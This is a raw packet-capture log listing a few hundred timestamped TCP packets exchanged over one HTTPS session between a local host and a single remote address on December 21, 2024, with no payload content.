Dec 21, 2024 19:23:05.543587923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.543688059 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.543817043 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.545664072 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.545671940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.545819044 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.545897961 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.545903921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.545968056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.545979023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.545988083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.546107054 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.546111107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.546185017 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.546289921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.547519922 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.547529936 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.547743082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.547749043 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.547833920 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.547959089 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.547969103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.547976971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.547982931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.548158884 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.548263073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.548300028 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.548307896 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.548510075 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.548516035 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.548652887 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.548767090 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.548774958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.548965931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.548971891 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.549021959 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.549068928 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.549074888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.549185991 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.549191952 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.549382925 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.549540043 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.549549103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.549735069 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.549741030 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.549916983 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.550267935 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.550276995 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.550461054 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.550645113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.550649881 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.550785065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.550798893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.550805092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.550954103 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.551070929 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.551331997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.551342010 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.551526070 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.551707983 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.551712990 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.551853895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.551963091 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.551971912 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.552124023 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.552124977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.552243948 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.552249908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.552515984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.552535057 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.552544117 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.552670002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.552787066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.552792072 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.552998066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.553057909 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.553066969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.553283930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.553289890 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.553375006 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.553504944 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.553565979 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.553574085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.553777933 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.553783894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.553865910 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.553999901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.554204941 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.554215908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.554425955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.554433107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.554518938 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.554555893 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.554568052 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.554658890 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.554666042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.554723978 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.554805994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.554893017 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.555022001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.555032969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.555247068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.555253029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.555335999 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.555468082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.555684090 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.555692911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.555893898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.555901051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.555988073 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.556024075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.556035042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.556128025 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.556133986 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.556193113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.556287050 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.556365013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.556756973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.556766987 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.556977034 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.556984901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.557065964 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.557171106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.557182074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.557207108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.557213068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.557389021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.557480097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.557768106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.557777882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.557923079 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.558078051 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.558083057 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.558279037 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.558290005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.558339119 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.558343887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.558468103 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.558558941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.558829069 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.558837891 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.558975935 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.559159994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.559165001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.559314966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.559433937 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.559439898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.559551001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.559653044 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.559750080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.559758902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.559899092 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.560059071 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.560064077 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.560244083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.560314894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.560321093 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.560444117 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.560548067 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.560806990 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.560817003 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.560965061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.561122894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.561126947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.561311960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.561352968 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.561381102 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.561387062 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.561510086 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.561614037 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.561850071 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.561860085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.562005043 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.562163115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.562167883 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.562410116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.562419891 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.562426090 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.562429905 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.562551022 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.562630892 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.562735081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.562889099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.562899113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.563112020 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.563118935 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.563199997 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.563345909 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.563388109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.563396931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.563604116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.563611031 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.563694954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.563719988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.563730955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.563824892 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.563831091 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.563889027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.563996077 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.564387083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.564395905 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.564539909 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.564697027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.564702034 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.564889908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.564901114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.564955950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.564960957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.565088987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.565179110 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.565418005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.565427065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.565570116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.565725088 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.565730095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.565984964 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.566126108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.566135883 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.566349030 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.566356897 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.566437960 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.566570044 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.566646099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.566654921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.566867113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.566873074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.566956997 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.567090034 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.567281961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.567291975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.567502975 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.567509890 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.567594051 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.567662001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.567738056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.567744017 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.567894936 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.567984104 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.568078041 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.568088055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.568244934 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.568399906 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.568407059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.568449020 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.568499088 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.568595886 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.568602085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.568751097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.568875074 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.568883896 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.569025040 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.569169998 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.569175005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.569386959 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.569399118 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.569427967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.569432974 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.569557905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.569650888 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.569822073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.569843054 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.570106983 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.570112944 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.570379019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.570571899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.570583105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.570792913 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.570799112 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.570868015 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.570883989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.570889950 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.571000099 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.571005106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.571168900 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.571337938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.571352005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.571578026 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.571583986 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.571662903 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.571796894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.571829081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.571839094 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.572043896 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.572050095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.572134018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.572261095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.572324991 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.572335005 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.572535992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.572542906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.572624922 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.572746038 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.572755098 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.572762966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.572767019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.572962999 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.573069096 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.573297024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.573307037 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.573445082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.573616028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.573622942 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.573647022 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.573781967 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.573796034 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.573801994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.573928118 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.574058056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.574067116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.574081898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.574086905 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.574276924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.574431896 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.574552059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.574570894 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.574863911 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.574870110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.575071096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.575083971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.575108051 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.575112104 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.575237989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.575329065 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.575579882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.575588942 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.575731993 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.575891018 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.575895071 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.576033115 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.576044083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.576150894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.576153994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.576293945 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.576385021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.576545000 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.576553106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.576771975 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.576776981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.576847076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.576884985 CET	443	49743	172.67.201.143	192.168.11.20
